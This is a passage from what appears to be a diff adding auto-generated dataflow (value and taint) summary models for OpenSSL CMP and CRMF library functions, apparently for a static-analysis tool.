"OSSL_CMP_ITAV_new_rootCaKeyUpdate", "(const X509 *,const X509 *,const X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[**0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[**0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_push0_stack_item", "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[*0].Field[**infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*2]", "Argument[*0].Field[*infoValue].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[*infoType]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ITAV_set0", "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[2]", "Argument[*0].Field[*infoValue].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_KEYRECREPCONTENT_free", "(OSSL_CMP_KEYRECREPCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_KEYRECREPCONTENT_free", "(OSSL_CMP_KEYRECREPCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_dup", "(const OSSL_CMP_MSG *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_free", "(OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_free", "(OSSL_CMP_MSG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_get0_header", "(const OSSL_CMP_MSG *)", "", "Argument[*0].Field[**header]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_get0_header", "(const OSSL_CMP_MSG *)", "", "Argument[*0].Field[*header]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_get_bodytype", "(const OSSL_CMP_MSG *)", "", "Argument[*0].Field[**body].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_http_perform", "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue.Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue.Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_read", "(const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_MSG_update_recipNonce", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_MSG_update_transactionID", "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIBODY_free", "(OSSL_CMP_PKIBODY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIBODY_free", "(OSSL_CMP_PKIBODY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIHEADER_free", "(OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKIHEADER_free", "(OSSL_CMP_PKIHEADER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_dup", "(const OSSL_CMP_PKISI *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_free", "(OSSL_CMP_PKISI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PKISI_free", "(OSSL_CMP_PKISI *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREP_free", "(OSSL_CMP_POLLREP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREP_free", "(OSSL_CMP_POLLREP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREQ_free", "(OSSL_CMP_POLLREQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_POLLREQ_free", "(OSSL_CMP_POLLREQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PROTECTEDPART_free", "(OSSL_CMP_PROTECTEDPART *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_PROTECTEDPART_free", "(OSSL_CMP_PROTECTEDPART *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVANNCONTENT_free", "(OSSL_CMP_REVANNCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVANNCONTENT_free", "(OSSL_CMP_REVANNCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVDETAILS_free", "(OSSL_CMP_REVDETAILS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVDETAILS_free", "(OSSL_CMP_REVDETAILS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVREPCONTENT_free", "(OSSL_CMP_REVREPCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_REVREPCONTENT_free", "(OSSL_CMP_REVREPCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ROOTCAKEYUPDATE_free", "(OSSL_CMP_ROOTCAKEYUPDATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ROOTCAKEYUPDATE_free", "(OSSL_CMP_ROOTCAKEYUPDATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_cmp_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_cmp_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_custom_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_custom_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_get0_custom_ctx", "(const OSSL_CMP_SRV_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[**1]", "Argument[*0].Field[***custom_ctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[*1]", "Argument[*0].Field[**custom_ctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[1]", "Argument[*0].Field[*custom_ctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[2]", "Argument[*0].Field[*process_cert_request]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[3]", "Argument[*0].Field[*process_rr]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[4]", "Argument[*0].Field[*process_genm]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[5]", "Argument[*0].Field[*process_error]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[6]", "Argument[*0].Field[*process_certConf]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init", "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)", "", "Argument[7]", "Argument[*0].Field[*process_pollReq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init_trans", "(OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t)", "", "Argument[1]", "Argument[*0].Field[*delayed_delivery]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_init_trans", "(OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t)", "", "Argument[2]", "Argument[*0].Field[*clean_transaction]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_accept_raverified", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*acceptRAVerified]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_accept_unprotected", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*acceptUnprotected]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_grant_implicit_confirm", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*grantImplicitConfirm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_CTX_set_send_unprotected_errors", "(OSSL_CMP_SRV_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*sendUnprotectedErrors]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_SRV_process_request", "(OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_STATUSINFO_new", "(int,int,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**status].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_certConf_cb", "(OSSL_CMP_CTX *,X509 *,int,const char **)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_certConf_cb", "(OSSL_CMP_CTX *,X509 *,int,const char **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_certConf_cb", "(OSSL_CMP_CTX *,X509 *,int,const char **)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_exec_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_exec_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_exec_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_caCerts", "(OSSL_CMP_CTX *,stack_st_X509 **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_certReqTemplate", "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_crlUpdate", "(OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_get1_rootCaKeyUpdate", "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_snprint_PKIStatusInfo", "(const OSSL_CMP_PKISI *,char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_try_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_try_certreq", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_validate_msg", "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_free", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ATTRIBUTETYPEANDVALUE_free", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_dup", "(const OSSL_CRMF_CERTID *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_free", "(OSSL_CRMF_CERTID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_free", "(OSSL_CRMF_CERTID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_gen", "(const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_gen", "(const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_get0_serialNumber", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0].Field[**serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTID_get0_serialNumber", "(const OSSL_CRMF_CERTID *)", "", "Argument[*0].Field[*serialNumber]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_dup", "(const OSSL_CRMF_CERTREQUEST *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_free", "(OSSL_CRMF_CERTREQUEST *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTREQUEST_free", "(OSSL_CRMF_CERTREQUEST *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_dup", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE 